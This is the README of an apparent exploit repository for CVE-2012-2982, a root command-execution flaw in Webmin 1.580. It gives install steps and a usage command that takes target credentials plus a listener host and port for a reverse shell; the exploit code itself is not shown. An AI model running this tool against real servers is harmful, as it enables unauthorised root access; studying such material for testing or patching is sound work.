Python exploit for CVE-2012-2982# CVE-2012-2982
This python script is written for vulnerability in Webmin 1.580, CVE-2012-2982. The vulnerability exists in the /file/show.cgi component and allows an authenticated user, with access to the File Manager Module, to execute arbitrary commands with root privileges.
## Installation
Tested python version: Python 3.8.5
Required pip package: secrets
`git clone https://github.com/OstojaOfficial/CVE-2012-2982.git`
`pip3 install -r requirements.txt`
## Usage
To run the exploit use the command bellow:
`python3 exploit.py <IP> <Username> <Password> <LHOST> <LPORT>`
[4.0K] /data/pocs/2ea64c1b8a40a54de51d70ea6c27505ca960d790
├── [1.6K] exploit.py
├── [ 582] README.md
└── [ 14] requirements.txt
0 directories, 3 files